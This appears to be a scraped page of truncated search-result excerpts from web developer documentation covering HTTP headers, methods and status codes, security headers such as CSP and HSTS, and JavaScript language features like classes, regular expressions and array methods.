on below. cookies available to javascript can be stolen through xss. security information should be stored in cookies with the understanding that all cookie values are visible to, and can be changed by, the end-user. depending on the application, it may be desirable to use an opaque identifier which is looked-up by the server or to investigate alternative authentication/confidentiality mechanisms such as json web tokens. ways to mitigate attacks involving cookies: use the httponly attribute to prevent access to cookie values via javascript. cookies that are used for sensitive information (such as indicating authentication) should have a short lifetime, with the samesite attribute set to strict or lax. (see samesite cookies, above.) in browsers that support samesite, this has the eff...
Accept-Charset - HTTP
browsers usually don't send this header, as the default value for each resource is usually correct and transmitting it would allow fingerprinting. if the server cannot serve any character encoding from this request header, it can theoretically send back a 406 not acceptable error code. ...
Accept-Language - HTTP
the accept-language request http header advertises which languages the client is able to understand, and which locale variant is preferred. (by languages, we mean natural languages, such as english, and not programming languages.) using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-language response header. browsers set adequate values for this header according to their user interface language and even if a user can change it, this happens rarely (and is frowned upon as it leads to fingerprinting). this header is a hint to be used when the server has no way of determining the language via another way, like a specific url, that is controlled by an explicit user decision. it is recommended that the server neve...
Accept-Patch - HTTP
atch request with an unsupported media type could reply with 415 unsupported media type and an accept-patch header referencing one or more supported media types. notes: an iana registry maintains a complete list of official content encodings. two others content encoding, bzip and bzip2, are sometimes used, though not standard. they implement the algorithm used by these two unix programs. note that the first one was discontinued due to patent licensing problems. header type response header forbidden header name yes syntax accept-patch: application/example, text/example accept-patch: text/example;charset=utf-8 accept-patch: application/merge-patch+json directives none examples accept-patch: application/example, text/example accept-patch: te...
Accept - HTTP
Web › HTTP › Headers › Accept
browsers set adequate values for this header depending on the context where the request is done: when fetching a css stylesheet a different value is set for the request than when fetching an image, video or a script. ...
Clear-Site-Data - HTTP
remove all cookies for the origin of the response url. http authentication credentials are also cleared out. this affects the entire registered domain, including subdomains. so https://example.com as well as https://stage.example.com, will have cookies cleared. "storage" indicates that the server wishes to remove all dom storage for the origin of the response url. this includes storage mechanisms such as: localstorage (executes localstorage.clear), sessionstorage (executes sessionstorage.clear), indexeddb (for each database execute idbfactory.deletedatabase), service worker registrations (for each service worker registration, execute serviceworkerregistration.unregister), appcache, websql databases, filesystem api data, plugin data (flash via npp_clearsitedata). "ex...
Connection - HTTP
ols whether or not the network connection stays open after the current transaction finishes. if the value sent is keep-alive, the connection is persistent and not closed, allowing for subsequent requests to the same server to be done. connection-specific header fields such as connection and keep-alive are prohibited in http/2. chrome and firefox ignore them in http/2 responses, but safari conforms to the http/2 spec requirements and won’t load any response which contains them. except for the standard hop-by-hop headers (keep-alive, transfer-encoding, te, connection, trailer, upgrade, proxy-authorization and proxy-authenticate), any hop-by-hop headers used by the message must be listed in the connection header, so that the first proxy knows it has to consume them and not forward them fu...
CSP: sandbox - HTTP
this directive is not supported in the <meta> element or by the content-security-policy-report-only header field. syntax content-security-policy: sandbox; content-security-policy: sandbox <value>; where <value> can optionally be one of the following values: allow-downloads-without-user-activation allows for downloads to occur without a gesture from the user. allow-forms allows the page to submit forms. if this keyword is not used, this operation is not allowed. allow-modals allows the page to open modal windows. allow-orientation-lock allows the page to disable the ability to lock the screen orientation. allow-pointer-lock allows the page to use the pointer lock api. allow-popups allows popups (like from window.open, target="_blank", showmodaldialog). i...
CSP: script-src - HTTP
ne event handlers are blocked as well: <button id="btn" onclick="dosomething()"> you should replace them with addeventlistener calls: document.getelementbyid("btn").addeventlistener('click', dosomething); unsafe inline script note: disallowing inline styles and inline scripts is one of the biggest security wins csp provides. however, if you absolutely have to use it, there are a few mechanisms that will allow them. to allow inline scripts and inline event handlers, 'unsafe-inline', a nonce-source or a hash-source that matches the inline block can be specified. content-security-policy: script-src 'unsafe-inline'; the above content security policy will allow inline <script> elements <script> var inline = 1; </script> you can use a nonce-source to only allow specific inline scrip...
CSP: style-src - HTTP
s to safely manipulate styles via javascript: document.queryselector('div').style.display = 'none'; these types of manipulations can be prevented by disallowing javascript via the script-src csp directive. unsafe inline styles note: disallowing inline styles and inline scripts is one of the biggest security wins csp provides. however, if you absolutely have to use it, there are a few mechanisms that will allow them. to allow inline styles, 'unsafe-inline', a nonce-source or a hash-source that matches the inline block can be specified. content-security-policy: style-src 'unsafe-inline'; the above content security policy will allow inline styles like the <style> element, and the style attribute on any element: <style> #inline-style { background: red; } </style> <div style="display:...
CSP: trusted-types - HTTP
the web application codebase, facilitating their monitoring and code review. this directive declares a white-list of trusted type policy names created with trustedtypes.createpolicy from trusted types api. syntax content-security-policy: trusted-types; content-security-policy: trusted-types <policyname>; content-security-policy: trusted-types <policyname> <policyname> 'allow-duplicates'; <domstring> any string can be a trusted type policy name. 'allow-duplicates' allows for creating policies with a name that was already used examples todo polyfill a polyfill for trusted types is available on github. specifications specification status comment trusted types draft initial definition. ...
Content-Type - HTTP
ary directive is required, which consists of 1 to 70 characters from a set of characters known to be very robust through email gateways, and not ending with white space. it is used to encapsulate the boundaries of the multiple parts of the message. often, the header boundary is prepended with two dashes and the final boundary has two dashes appended at the end. examples content-type in html forms in a post request, resulting from an html form submission, the content-type of the request is specified by the enctype attribute on the <form> element. <form action="/" method="post" enctype="multipart/form-data"> <input type="text" name="description" value="some text"> <input type="file" name="myfile"> <button type="submit">submit</button> </form> the request looks something like this ...
Cross-Origin-Resource-Policy - HTTP
exercise caution using this header in a production environment. ...
Expect-CT - HTTP
the expect-ct header lets sites opt in to reporting and/or enforcement of certificate transparency requirements, to prevent the use of misissued certificates for that site from going unnoticed. ct requirements can be satisfied via any one of the following mechanisms: x.509v3 certificate extension to allow embedding of signed certificate timestamps issued by individual logs a tls extension of type signed_certificate_timestamp sent during the handshake supporting ocsp stapling (that is, the status_request tls extension) and providing a signedcertificatetimestamplist when a site enables the expect-ct header, they are requesting that the browser check that any certificate for that site appears in public ct logs. browsers ignore the expect-ct header over http; the header only has eff...
Expect - HTTP
Web › HTTP › Headers › Expect
for example, the server may reject a request if its content-length is too large. no common browsers send the expect header, but some other clients such as curl do so by default. header type request header forbidden header name yes syntax no other expectations except "100-continue" are specified currently. expect: 100-continue directives 100-continue informs recipients that the client is about to send a (presumably large) message body in this request and wishes to receive a 100 (continue) interim response. examples large message body a client sends a request with a expect header and waits for the server to respond before sending the message body. put /somewhere/fun http/1.1 host: origin.example.com content-type: video/h264 content-length: 123456...
Feature-Policy: screen-wake-lock - HTTP
the http feature-policy header screen-wake-lock directive controls whether the current document is allowed to use screen wake lock api to indicate that device should not dim or turn off the screen. note: in earlier specification drafts this directive was called wake-lock. ...
Feature-Policy: wake-lock - HTTP
the http feature-policy header wake-lock directive controls whether the current document is allowed to use wake lock api to indicate that device should not enter power-saving mode. note: latest drafts of screen wake lock api defines screen-wake-lock directive. syntax feature-policy: wake-lock <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. ...
Feature-Policy - HTTP
use audio input devices. when this policy is disabled, the promise returned by mediadevices.getusermedia() will reject with a notallowederror. midi controls whether the current document is allowed to use the web midi api. when this policy is disabled, the promise returned by navigator.requestmidiaccess() will reject with a domexception. navigation-override controls the availability of mechanisms that enables the page author to take control over the behavior of spatial navigation, or to cancel it outright. oversized-images controls whether the current document is allowed to download and display large images. payment controls whether the current document is allowed to use the payment request api. when this policy is enabled, the paymentrequest() constructor will throw a securityerror d...
From - HTTP
Web › HTTP › Headers › From
you shouldn't use the from header for access control or authentication. ...
Keep-Alive - HTTP
keep-alive general header allows the sender to hint about how the connection may be used to set a timeout and a maximum amount of requests. the connection header needs to be set to "keep-alive" for this header to have any meaning. connection-specific header fields such as connection and keep-alive are prohibited in http/2. chrome and firefox ignore them in http/2 responses, but safari conforms to the http/2 spec requirements and won’t load any response which contains them. header type general header forbidden header name yes syntax keep-alive: parameters directives parameters a comma-separated list of parameters, each consisting of an identifier and a value separated by the equal sign ('='). the following identifiers are possible: timeout: i...
Large-Allocation - HTTP
prevent firefox from using this new, faster, multiprocess architecture. if you have one of these addons installed, then we will continue to use the old single process architecuture for compatibility, and cannot handle the large-allocation header. this page would be loaded in a new process due to a large-allocation header, however large-allocation process creation is disabled on non-win32 platforms. firefox currently only supports the large-allocation header in our 32-bit windows builds, as memory fragmentation is not an issue in 64-bit builds. if you are running a non-win32 version of firefox, this error will appear. this check can be disabled with the "dom.largeallocation. forceenable" boolean preferece in about:config. specifications not part of any current specifications. an expl...
Public-Key-Pins-Report-Only - HTTP
e>"; max-age=<expire-time>; includesubdomains; report-uri="<uri>" directives pin-sha256="<pin-value>" the quoted string is the base64 encoded subject public key information (spki) fingerprint. it is possible to specify multiple pins for different public keys. some browsers might allow other hashing algorithms than sha-256 in the future. max-age=<expire-time> this directive is meaningless for the public-key-pins-report-only header, it will be ignored by user agents and the header will not be cached. includesubdomains optional if this optional parameter is specified, this rule applies to all of the site's subdomains as well. report-uri="<uri>" pin validation failures are reported to the given url.
Public-Key-Pins - HTTP
blic-key-pins: pin-sha256="<pin-value>"; max-age=<expire-time>; includesubdomains; report-uri="<uri>" directives pin-sha256="<pin-value>" the quoted string is the base64 encoded subject public key information (spki) fingerprint. it is possible to specify multiple pins for different public keys. some browsers might allow other hashing algorithms than sha-256 in the future. max-age=<expire-time> the time, in seconds, that the browser should remember that this site is only to be accessed using one of the defined keys. includesubdomains optional if this optional parameter is specified, this rule applies to all of the site's subdomains as well. report-uri="<uri>" optional if this optional parameter is specified, pin validation failures...
Strict-Transport-Security - HTTP
y initially communicate with the non-encrypted version of the site before being redirected, if, for example, the visitor types http://www.foo.com/ or even just foo.com. this creates an opportunity for a man-in-the-middle attack. the redirect could be exploited to direct visitors to a malicious site instead of the secure version of the original site. the http strict transport security header informs the browser that it should never load a site using http and should automatically convert all attempts to access the site using http to https requests instead. note: the strict-transport-security header is ignored by the browser when your site is accessed using http; this is because an attacker may intercept http connections and inject the header or remove it. when your site is accessed over http...
Tk - HTTP
Web › HTTP › Headers › Tk
y within 48 hours any dnt:1 data received for which such consent has not been received. d disregarding dnt. the origin server is unable or unwilling to respect a tracking preference received from the requesting user agent. u updated. the request resulted in a potential change to the tracking status applicable to this user, user agent, or device. examples a tk header for a resource that claims not to be tracking would look like: tk: n specifications specification status comment tracking preference expression (dnt)the definition of 'tk header field' in that specification. obsolete initial definition. ...
Transfer-Encoding - HTTP
transfer-encoding is a hop-by-hop header, that is applied to a message between two nodes, not to a resource itself. each segment of a multi-node connection can use different transfer-encoding values. if you want to compress data over the whole connection, use the end-to-end content-encoding header instead. ...
Upgrade-Insecure-Requests - HTTP
nds a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the upgrade-insecure-requests csp directive. header type request header forbidden header name no syntax upgrade-insecure-requests: 1 examples a client's request signals to the server that it supports the upgrade mechanisms of upgrade-insecure-requests: get / http/1.1 host: example.com upgrade-insecure-requests: 1 the server can now redirect to a secure version of the site. a vary header can be used so that the site isn't served by caches to clients that don’t support the upgrade mechanism. location: https://example.com/ vary: upgrade-insecure-requests specifications specification status commen...
User-Agent - HTTP
15 version/10.00 opera/9.60 (windows nt 6.0; u; en) presto/2.1.1 safari ua string in this example, the user agent string is mobile safari’s version. it contains the word "mobile". ...
Warning - HTTP
Web › HTTP › Headers › Warning
more than one warning header may appear in a response. ...
X-Content-Type-Options - HTTP
this is a way to opt out of mime type sniffing, or, in other words, to say that the mime types are deliberately configured. this header was introduced by microsoft in ie 8 as a way for webmasters to block content sniffing that was happening and could transform non-executable mime types into executable mime types. since then, other browsers have introduced it, even if their mime sniffing algorithms were less aggressive. starting with firefox 72, the opting out of mime sniffing is also applied to top-level documents if a content-type is provided. this can cause html web pages to be downloaded instead of being rendered when they are served with a mime type other than text/html. make sure to set both headers correctly. site security testers usually expect this header to be set. note: x-cont...
X-Forwarded-For - HTTP
proxies, the ip addresses of each successive proxy is listed. this means, the right-most ip address is the ip address of the most recent proxy and the left-most ip address is the ip address of the originating client. examples x-forwarded-for: 2001:db8:85a3:8d3:1319:8a2e:370:7348 x-forwarded-for: 203.0.113.195 x-forwarded-for: 203.0.113.195, 70.41.3.18, 150.172.238.178 other non-standard forms: # used for some google services x-proxyuser-ip: 203.0.113.19 specifications not part of any current specification. the standardized version of this header is forwarded. ...
X-Forwarded-Proto - HTTP
client and the load balancer, the x-forwarded-proto request header can be used. a standardized version of this header is the http forwarded header. header type request header forbidden header name no syntax x-forwarded-proto: <protocol> directives <protocol> the forwarded protocol (http or https). examples x-forwarded-proto: https other non-standard forms: # microsoft front-end-https: on x-forwarded-protocol: https x-forwarded-ssl: on x-url-scheme: https specifications not part of any current specification. the standardized version of this header is forwarded. ...
CONNECT - HTTP
Web › HTTP › Methods › CONNECT
n proceeds to make the connection on behalf of the client. once the connection has been established by the server, the proxy server continues to proxy the tcp stream to and from the client. connect is a hop-by-hop method. request has body no successful response has body yes safe no idempotent no cacheable no allowed in html forms no syntax connect www.example.com:443 http/1.1 example some proxy servers might need authority to create a tunnel. see also the proxy-authorization header. connect server.example.com:80 http/1.1 host: server.example.com:80 proxy-authorization: basic agvsbg86d29ybgq= specifications specification title rfc 7231, section 4.3.6: connect hypertext transfer ...
DELETE - HTTP
Web › HTTP › Methods › DELETE
the http delete request method deletes the specified resource. request has body may successful response has body may safe no idempotent yes cacheable no allowed in html forms no syntax delete /file.html http/1.1 example request delete /file.html http/1.1 responses if a delete method is successfully applied, there are several response status codes possible: a 202 (accepted) status code if the action will likely succeed but has not yet been enacted. a 204 (no content) status code if the action has been enacted and no further information is to be supplied. a 200 (ok) status code if the action has been enacted and the response message includes a representation describing the status. http/1.1 200 ok dat...
GET - HTTP
Web › HTTP › Methods › GET
the http get method requests a representation of the specified resource. requests using get should only retrieve data. ...
HEAD - HTTP
Web › HTTP › Methods › HEAD
describe the response which a similar get request would have received. ...
PATCH - HTTP
Web › HTTP › Methods › PATCH
ccess-control-allow-methods (for cors) response headers. another (implicit) indication that patch is allowed, is the presence of the accept-patch header, which specifies the patch document formats accepted by the server. request has body yes successful response has body yes safe no idempotent no cacheable no allowed in html forms no syntax patch /file.txt http/1.1 example request patch /file.txt http/1.1 host: www.example.com content-type: application/example if-match: "e0023aa4e" content-length: 100 [description of changes] response a successful response is indicated by any 2xx status code. in the example below a 204 response code is used, because the response does not carry a payload body. a 200 respo...
POST - HTTP
Web › HTTP › Methods › POST
new user through a signup modal; providing a block of data, such as the result of submitting a form, to a data-handling process; extending a database through an append operation. ...
PUT - HTTP
Web › HTTP › Methods › PUT
ut is idempotent: calling it once or several times successively has the same effect (that is no side effect), whereas successive identical post requests may have additional effects, akin to placing an order several times. request has body yes successful response has body no safe no idempotent yes cacheable no allowed in html forms no syntax put /new.html http/1.1 example request put /new.html http/1.1 host: example.com content-type: text/html content-length: 16 <p>new file</p> responses if the target resource does not have a current representation and the put request successfully creates one, then the origin server must inform the user agent by sending a 201 (created) response. http/1.1 201 created conte...
HTTP request methods - HTTP
Web › HTTP › Methods
the put method replaces all current representations of the target resource with the request payload. delete the delete method deletes the specified resource. connect the connect method establishes a tunnel to the server identified by the target resource. options the options method is used to describe the communication options for the target resource. trace the trace method performs a message loop-back test along the path to the target resource. patch the patch method is used to apply partial modifications to a resource. specifications specification title comment rfc 7231, section 4: request methods hypertext transfer protocol (http/1.1): semantics and content specifies get, head, post, put, delete, connect, options, trace. rfc 5...
Protocol upgrade mechanism - HTTP
ed when insecure (http) clients wish to upgrade, in order to offer some degree of protection against abuse. the value of the key is computed using an algorithm defined in the websocket specification, so this does not provide security. instead, it helps to prevent non-websocket clients from inadvertently, or through misuse, requesting a websocket connection. in essence, then, this key simply confirms that "yes, i really mean to open a websocket connection." this header is automatically added by clients that choose to use it; it cannot be added using the xmlhttprequest.setrequestheader() method. sec-websocket-key: key key the key for this request to upgrade. the client adds this if it wishes to do so, and the server will include in the response a key of its own, which the client will val...
Proxy Auto-Configuration (PAC) file - HTTP
ementation proxy auto-config was introduced into netscape navigator 2.0 in the late 1990s, at the same time when javascript was introduced. open-sourcing netscape eventually lead to firefox itself. the most "original" implementation of pac and its javascript libraries is, therefore, nsproxyautoconfig.js found in early versions of firefox. these utilities are found in many other open-source systems including chromium. firefox later integrated the file into proxyautoconfig.cpp as a c++ string literal. to extract it into its own file, it suffices to copy the chunk into javascript with a console.log directive to print it. microsoft in general made its own implementation. there used to be some problems with their libraries, but most are resolved by now. they have defined some new "ex" suffixed...
HTTP Public Key Pinning (HPKP) - HTTP
the public-key-pins http header when your site is accessed over https: public-key-pins: pin-sha256="base64=="; max-age=expiretime [; includesubdomains][; report-uri="reporturi"] pin-sha256 the quoted string is the base64 encoded subject public key information (spki) fingerprint. it is possible to specify multiple pins for different public keys. some browsers might allow other hashing algorithms than sha-256 in the future. see below on how to extract this information out of a certificate or key file. max-age the time, in seconds, that the browser should remember that this site is only to be accessed using one of the defined keys. includesubdomains optional if this optional parameter is specified, this rule applies to all of the site's subdomains as well. report-uri optional if this...
HTTP resources and specifications - HTTP
...
A typical HTTP session - HTTP
Web › HTTP › Session
be performed upon a resource. although they can also be nouns, these requests methods are sometimes referred as http verbs. the most common requests are get and post: the get method requests a data representation of the specified resource. requests using get should only retrieve data. the post method sends data to a server so it may change its state. this is the method often used for html forms. structure of a server response after the connected agent has sent its request, the web server processes it, and ultimately returns a response. similar to a client request, a server response is formed of text directives, separated by crlf, though divided into three blocks: the first line, the status line, consists of an acknowledgment of the http version used, followed by a status request (...
402 Payment Required - HTTP
Web › HTTP › Status › 402
the http 402 payment required is a nonstandard client error status response code that is reserved for future use. sometimes, this code indicates that the request can not be processed until the client makes a payment. originally it was created to enable digital cash or (micro) payment systems and would indicate that the requested content is not available until the client makes a payment. however, no standard use convention exists and different entities use it in different contexts. status 402 payment required example response http/1.1 402 payment required date: wed, 21 oct 2015 07:28:00 gmt specifications specification title rfc 7231, section 6.5.2: 402 payment required http/1.1: semantics and content ...
408 Request Timeout - HTTP
Web › HTTP › Status › 408
ion. it is sent on an idle connection by some servers, even without any previous request by the client. a server should send the "close" connection header field in the response, since 408 implies that the server has decided to close the connection rather than continue waiting. this response is used much more since some browsers, like chrome, firefox 27+, and ie9, use http pre-connection mechanisms to speed up surfing. note: some servers merely shut down the connection without sending this message. status 408 request timeout specifications specification title rfc 7231, section 6.5.7: 408 request timeout hypertext transfer protocol (http/1.1): semantics and content ...
511 Network Authentication Required - HTTP
Web › HTTP › Status › 511
the http 511 network authentication required response status code indicates that the client needs to authenticate to gain network access. this status is not generated by origin servers, but by intercepting proxies that control access to the network. network operators sometimes require some authentication, acceptance of terms, or other user interaction before granting access (for example in an internet café or at an airport). they often identify clients who have not done so using their media access control (mac) addresses. status 511 network authentication required specifications specification title rfc 6585, section 6: 511 network authentication required additional http status codes ...
HTTP
Web › HTTP
ad cross-site resources, including css stylesheets, images, scripts, and other resources. cors allows web developers to control how their site reacts to cross-site requests. evolution of http a brief description of the changes between the early versions of http, to the modern http/2, the emergent http/3 and beyond. mozilla web security guidelines a collection of tips to help operational teams with creating secure web applications. http messages describes the type and structure of the different kind of messages of http/1.x and http/2. a typical http session shows and explains the flow of a usual http session. connection management in http/1.x describes the three connection management models available in http/1.x, their strengths, and their weaknesses. reference browse thr...
CSS Houdini
m value strings into meaningfully typed javascript representations and back can incur a significant performance overhead. the css typed om exposes css values as typed javascript objects to allow their performant manipulation. css typed om reference css typed om guide css layout api designed to improve the extensibility of css, this api enables developers to write their own layout algorithms, like masonry or line snapping. it is not yet natively available. no guide or reference has currently been written for this api. css painting api developed to improve the extensibility of css — allows developers to write javascript functions that can draw directly into an element's background, border, or content via the paint() css function. css painting api reference css pain...
About JavaScript - JavaScript
ions common in compiled languages like c++ and java. once an object has been constructed it can be used as a blueprint (or prototype) for creating similar objects. javascript's dynamic capabilities include runtime object construction, variable parameter lists, function variables, dynamic script creation (via eval), object introspection (via for ... in), and source code recovery (javascript programs can decompile function bodies back into their source text). for a more in depth discussion of javascript programming follow the javascript resources links below. what javascript implementations are available? the mozilla project provides two javascript implementations. the first ever javascript was created by brendan eich at netscape, and has since been updated to conform to ecma-262 edition 5...
JavaScript data types and data structures - JavaScript
ter can be chosen, etc. all of this requires conventions and creates an unnecessary maintenance burden. use strings for textual data. when representing complex data, parse strings, and use the appropriate abstraction. symbol type a symbol is a unique and immutable primitive value and may be used as the key of an object property (see below). in some programming languages, symbols are called "atoms". for more details see symbol and the symbol object wrapper in javascript. objects in computer science, an object is a value in memory which is possibly referenced by an identifier. properties in javascript, objects can be seen as a collection of properties. with the object literal syntax, a limited set of properties are initialized; then properties can be added and removed. property values ...
Expressions and operators - JavaScript
the comparison. this behavior generally results in comparing the operands numerically. the sole exceptions to type conversion within comparisons involve the === and !== operators, which perform strict equality and inequality comparisons. these operators do not attempt to convert the operands to compatible types before checking equality. the following table describes the comparison operators in terms of this sample code: var var1 = 3; var var2 = 4; comparison operators operator description examples returning true equal (==) returns true if the operands are equal. 3 == var1 "3" == var1 3 == '3' not equal (!=) returns true if the operands are not equal. var1 != 4 var2 != "3" strict equal (===) returns true if the opera...
Grammar and types - JavaScript
a variable. you cannot declare a constant with the same name as a function or variable in the same scope. for example: // this will cause an error function f() {}; const f = 5; // this will cause an error too function f() { const g = 5; var g; //statements } however, the properties of objects assigned to constants are not protected, so the following statement is executed without problems. const my_object = {'key': 'value'}; my_object.key = 'othervalue'; also, the contents of an array are not protected, so the following statement is executed without problems. const my_array = ['html','css']; my_array.push('javascript'); console.log(my_array); //logs ['html','css','javascript']; data structures and types data types the latest ecmascript standard defines eight data types: ...
Iterators and generators - JavaScript
javascript provides a number of ways of iterating over a collection, from simple for loops to map() and filter(). iterators and generators bring the concept of iteration directly into the core language and provide a mechanism for customizing the behavior of for...of loops. for details, see also: iteration_protocols for...of function* and generator yield and yield* iterators in javascript an iterator is an object which defines a sequence and potentially a return value upon its termination. ...
Meta programming - JavaScript
oxy({}, handler) p.a = 1 console.log(p.a, p.b) // 1, 42 the proxy object defines a target (an empty object here) and a handler object, in which a get trap is implemented. here, an object that is proxied will not return undefined when getting undefined properties, but will instead return the number 42. additional examples are available on the proxy reference page. terminology the following terms are used when talking about the functionality of proxies. handler placeholder object which contains traps. traps the methods that provide property access. (this is analogous to the concept of traps in operating systems.) target object which the proxy virtualizes. it is often used as storage backend for the proxy. invariants (semantics that remain unchanged) regarding object non-extensibil...
Numbers and dates - JavaScript
ods are useful for comparing dates. the gettime method returns the number of milliseconds since january 1, 1970, 00:00:00 for a date object. for example, the following code displays the number of days left in the current year: var today = new date(); var endyear = new date(1995, 11, 31, 23, 59, 59, 999); // set day and month endyear.setfullyear(today.getfullyear()); // set year to this year var msperday = 24 * 60 * 60 * 1000; // number of milliseconds per day var daysleft = (endyear.gettime() - today.gettime()) / msperday; var daysleft = math.round(daysleft); //returns days left in the year this example creates a date object named today that contains today's date. it then creates a date object named endyear and sets the year to the current year. then, using the number of milliseconds per...
Regular expression syntax cheatsheet - JavaScript
(x) capturing group: matches x and remembers the match. for example, /(foo)/ matches and remembers "foo" in "foo bar". a regular expression may have multiple capturing groups. in results, matches to capturing groups typically in an array whose members are in the same order as the left parentheses in the capturing group. this is usually just the order of the capturing groups themselves. this becomes important when capturing groups are nested. matches are accessed using the index of the the result's elements ([1], ..., [n]) or from the predefined regexp object's properties ($1, ..., $9). capturing groups have a performance penalty. if you don't need the matched substring to be recalled, prefer non-capturing parentheses (see below). string.match() won't return grou...
Groups and ranges - JavaScript
(x) capturing group: matches x and remembers the match. for example, /(foo)/ matches and remembers "foo" in "foo bar". a regular expression may have multiple capturing groups. in results, matches to capturing groups typically in an array whose members are in the same order as the left parentheses in the capturing group. this is usually just the order of the capturing groups themselves. this becomes important when capturing groups are nested. matches are accessed using the index of the the result's elements ([1], ..., [n]) or from the predefined regexp object's properties ($1, ..., $9). capturing groups have a performance penalty. if you don't need the matched substring to be recalled, prefer non-capturing parentheses (see below). string.match() won't return grou...
JavaScript language resources - JavaScript
ecmascript standardized by the ecma international standards organization in the ecma-262 and ecma-402 specifications. ...
Memory Management - JavaScript
ece of memory is still needed is undecidable. garbage collection as stated above, the general problem of automatically finding whether some memory "is not needed anymore" is undecidable. as a consequence, garbage collectors implement a restriction of a solution to the general problem. this section will explain the concepts that are necessary for understanding the main garbage collection algorithms and their respective limitations. references the main concept that garbage collection algorithms rely on is the concept of reference. within the context of memory management, an object is said to reference another object if the former has access to the latter (either implicitly or explicitly). for instance, a javascript object has a reference to its prototype (implicit reference) and to its pro...
Private class fields - JavaScript
) } } const instance = new classwithprivatemethod() console.log(instance.getprivatemessage()) // expected output: "hello worl​d" private instance methods may be generator, async, or async generator functions. private getters and setters are also possible: class classwithprivateaccessor { #message get #decoratedmessage() { return `✨${this.#message}✨` } set #decoratedmessage(msg) { this.#message = msg } constructor() { this.#decoratedmessage = 'hello world' console.log(this.#decoratedmessage) } } new classwithprivateaccessor(); // expected output: "✨hello worl​d✨" specifications specification public and private instance fieldsthe definition of 'fielddefinition' in that specification. ...
Classes - JavaScript
s and prototype data properties must be defined outside of the classbody declaration: rectangle.staticwidth = 20; rectangle.prototype.prototypewidth = 25; field declarations public and private field declarations are an experimental feature (stage 3) proposed at tc39, the javascript standards committee. support in browsers is limited, but the feature can be used through a build step with systems like babel. public field declarations with the javascript field declaration syntax, the above example can be written as: class rectangle { height = 0; width; constructor(height, width) { this.height = height; this.width = width; } } by declaring fields up-front, class definitions become more self-documenting, and the fields are always present. as seen above, the fields can ...
Deprecated and obsolete features - JavaScript
ion because they are expected to be removed entirely sometime in the future. you should work to remove their use from your code. regexp properties the following properties are deprecated. this does not affect their use in replacement strings: property description $1-$9 parenthesized substring matches, if any. warning: using these properties can result in problems, since browser extensions can modify them. avoid them! $_ see input. $* see multiline. $& see lastmatch. $+ see lastparen. $` see leftcontext. $' see rightcontext. input the string against which a regular expression is matched. lastmatch the last matched characters. lastparen the last p...
SyntaxError: invalid regular expression flag "x" - JavaScript
as a regular expression literal. let obj = { url: /docs/web }; // syntaxerror: invalid regular expression flag "w" or did you mean to create a string instead? add single or double quotes to create a string literal. let obj = { url: '/docs/web' }; valid regular expression flags see the table above for the six valid regular expression flags that are allowed in javascript. /foo/g; /foo/gims; /foo/uy; ...
Warning: String.x is deprecated; use String.prototype.x instead - JavaScript
thods on the string object allowing string methods to be applied to any object. ...
TypeError: Reduce of empty array with no initial value - JavaScript
// removes all elements .reduce((x, y) => x + y) // no more elements to use for the initial value. similarly, the same issue can happen if there is a typo in a selector, or an unexpected number of elements in a list: var names = document.getelementsbyclassname("names"); var name_list = array.prototype.reduce.call(names, (acc, name) => acc + ", " + name); valid cases these problems can be solved in two different ways. one way is to actually provide an initialvalue as the neutral element of the operator, such as 0 for the addition, 1 for a multiplication, or an empty string for a concatenation. var ints = [0, -1, -2, -3, -4, -5]; ints.filter(x => x > 0) // removes all elements .reduce((x, y) => x + y, 0) // the initial value is the neutral element of the addit...
TypeError: "x" is (not) "y" - JavaScript
} ...
The arguments object - JavaScript
he number of arguments that were passed to the function. arguments[@@iterator] returns a new array iterator object that contains the values for each index in arguments. examples defining a function that concatenates several strings this example defines a function that concatenates several strings. the function's only formal argument is a string containing the characters that separate the items to concatenate. function myconcat(separator) { let args = array.prototype.slice.call(arguments, 1); return args.join(separator); } you can pass as many arguments as you like to this function. it returns a string list using each argument in the list: // returns "red, orange, blue" myconcat(', ', 'red', 'orange', 'blue'); // returns "elephant; giraffe; lion; cheetah" myconcat('; ', 'elephan...
Array.prototype.copyWithin() - JavaScript
...
Array.prototype.flat() - JavaScript
te that depth control is hard/inefficient as we will need to tag each value with its own depth // also possible w/o reversing on shift/unshift, but array ops on the end tends to be faster function flatten(input) { const stack = [...input]; const res = []; while(stack.length) { // pop value from stack const next = stack.pop(); if(array.isarray(next)) { // push back array items, won't modify the original input stack.push(...next); } else { res.push(next); } } // reverse to restore input order return res.reverse(); } const arr = [1, 2, [3, 4, [5, 6]]]; flatten(arr); // [1, 2, 3, 4, 5, 6] use generator function function* flatten(array, depth) { if(depth === undefined) { depth = 1; } for(const item of array) { if(arra...
Array.prototype.forEach() - JavaScript
uninitialized values (sparse arrays) const arraysparse = [1,3,,7] let numcallbackruns = 0 arraysparse.foreach((element) => { console.log(element) numcallbackruns++ }) console.log("numcallbackruns: ", numcallbackruns) // 1 // 3 // 7 // numcallbackruns: 3 // comment: as you can see the missing value between 3 and 7 didn't invoke callback function. converting a for loop to foreach const items = ['item1', 'item2', 'item3'] const copyitems = [] // before for (let i = 0; i < items.length; i++) { copyitems.push(items[i]) } // after items.foreach(function(item){ copyitems.push(item) }) printing the contents of an array note: in order to display the content of an array in the console, you can use console.table(), which prints a formatted version of the array. the following exampl...
Array.prototype.lastIndexOf() - JavaScript
if you intend to use this in real-world applications, you may be able to calculate from with less complicated code if you ignore those cases. examples using lastindexof the following example uses lastindexof to locate values in an array. var ...
Array.prototype.length - JavaScript
tend an array by changing its length property, the number of actual elements increases; for example, if you set length to 3 when it is currently 2, the array now contains 3 elements, which causes the third element to be a non-iterable empty slot. const arr = [1, 2]; console.log(arr); // [ 1, 2 ] arr.length = 5; // set array length to 5 while currently 2. console.log(arr); // [ 1, 2, <3 empty items> ] arr.foreach(element => console.log(element)); // 1 // 2 as you can see, the length property does not necessarily indicate the number of defined values in the array. see also relationship between length and numerical properties. property attributes of array.prototype.length writable yes enumerable no configurab...
Array.prototype.map() - JavaScript
